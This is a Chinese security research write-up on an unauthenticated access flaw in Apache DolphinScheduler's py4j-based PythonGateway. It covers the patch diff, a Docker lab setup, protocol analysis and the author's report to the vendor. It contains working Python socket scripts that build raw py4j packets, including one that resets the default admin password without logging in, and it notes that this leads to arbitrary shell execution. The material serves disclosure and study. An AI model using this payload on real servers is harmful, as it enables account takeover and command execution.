前言
挺早之前有个Apache DolphinScheduler 任意文件读取漏洞,之前有看过这个,后面又有好兄弟问我,就研究了一下。本来简单的diff了一下,以为发现了问题,但是事情没有我想的那么简单~
漏洞分析
diff分析
看到漏洞是在2.0.6修复的,我们切换到该分支看到这里增加了资源中心的检查,应该就是这里了。
增加了文件校验,这个类继承了resourcesService,看下谁使用了。
emm,ResourcesController.java使用了这个类,直接跟进去,
哈哈,被逮到了吧,但是逛了一圈,发现都是需要登录权限的,这和官方通知的未授权不一样呀。顿时没了思路。
发现在PythonGateway.java中使用了 ,但是并不知道这里PythonGateway实现什么功能,只能翻翻文档了
https://dolphinscheduler.apache.org/python/main/index.html
是一个Python Api,文档中还给了快速开始的方法。
看来还是不能图懒。搭建环境吧。
环境搭建
参考官方的docker 快速搭建
https://dolphinscheduler.apache.org/en-us/docs/latest/user_doc/guide/start/docker.html
使用下面镜像
https://hub.docker.com/search?q=dolphinscheduler
使用如下的tag
5个月之前,漏洞还存在。
docker 命令如下
docker pull apache/dolphinscheduler-standalone-server:3.0.0-beta-1
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 9898:9898 -d 镜像id
9898 是我后面加上的,为了后面的调试
之后将容器中的
/opt/dolphinscheduler/bin/start.sh
JAVA_OPTS 配置修改成如下,加上调试
JAVA_OPTS=${JAVA_OPTS:-"-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9898 -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}
PythonGateway使用
进入官方说明文档
https://dolphinscheduler.apache.org/python/dev/start.html
看到要先安装PyDolphinScheduler
我们运行下,这里说明下
配置中默认链接ip是127.0.0.1(通过报错也知道25333就是PythonGateway的对外端口),所以如果是虚拟机搭建的换还得重新配置目标ip
命令如下:
pydolphinscheduler config --init
pydolphinscheduler config --set java_gateway.address <YOUR-API-SERVER-IP-OR-HOSTNAME>
运行案例,还是报错了
emmm,还是调试来看吧
在py4j.commands.CallCommand#execute 加上断点。
org.apache.dolphinscheduler.api.python.PythonGateway 中没有参数为3个的getCodeAndVersion方法,
emmm 只有两个的。
可惜我半天没有找到怎么在python脚本中构造调用方法,但是在代码中看数据构造比较简单,就是一个reader,我们尝试构造数据包。
数据包构造
再次运行python脚本,用wireshark抓包看下
这里看着构造还是比较简单的,
首先进入了py4j.GatewayConnection#run
发现如果this.authCommand 存在则判断是否校验过权限
但是这里不存在authCommand ,搜了一下,如果以默认方式启动py4j是没有安全权限校验的,如果启动方式如下:
JavaGateway(gateway_parameters=GatewayParameters(port=11111,auth_token="HelloWorld"))
则会加上auth_token校验。
在py4j.Protocol#getObject 中,我们可以看到不同类型参数数据的构造
如果是字符型,在字符前加上一个s就行,int类型则是i,其他类型相对应的构造即可
接着在py4j.commands.AbstractCommand#invokeMethod 中便根据方法名及参数进行调用
根据wireshark抓的包,我们构造python脚本如下:
import socketclient = socket.socket()client.connect(('192.168.58.128',25333))data = '''ctgetCodeAndVersionsproject-pydolphinsHttpstaske'''client.send(data.encode('utf-8'))data_recv = client.recv(1024)print(data_recv.decode())
改下请求参数的数量
成功调用功能。
调用栈如下:
getCodeAndVersion:167, PythonGateway (org.apache.dolphinscheduler.api.python)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invoke:244, MethodInvoker (py4j.reflection)invoke:357, ReflectionEngine (py4j.reflection)invoke:282, Gateway (py4j)invokeMethod:132, AbstractCommand (py4j.commands)execute:79, CallCommand (py4j.commands)run:238, GatewayConnection (py4j)run:750, Thread (java.lang)
漏洞再分析
下面来调用getResourcesFileInfo
这是仔细看了下这里的功能,并不是根据fullName来找文件,而是先获取文件列表再根据fullName找到相应文件,这里并不是漏洞点,感情跟了半天跟歪了。
再在github中往上翻翻提交记录
但是我这里跟的地方是否在最新版也存在同样的问题呢?
在最新版果然也没有加上登录凭证,这里在新版也存在安全问题。
漏洞利用
看下此处后续有什么利用的方法,在最新版中发现存在修改用户信息的功能,这个项目默认存在一个admin账户,尝试修改下账户用户名密码构造数据包如下,
import socketclient = socket.socket()client.connect(('192.168.58.128',25333))#Destination ip address and port numberdata = '''ctupdateUsersadminsdolphinscheduler1234 stest@qq.coms17823336543steststesti1e'''client.send(data.encode('utf-8'))data_recv = client.recv(1024)print(data_recv.decode())
使用admin/dolphinscheduler1234 成功进入管理员后台,管理员信息已经更新了。
由于这是个任务调度平台,多种执行命令的方式,我们可以执行任意shell脚本
漏洞修复
发现这个问题后我提交给官方了,一周后漏洞修复了,心里美滋滋以为收获一发CVE,结果一直没消息,等了一个月后又发了邮件,回复如下:
明明是我先提再修的,嘤嘤嘤,想申请个CVE可真难。
最新版已经加上了authToken了。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)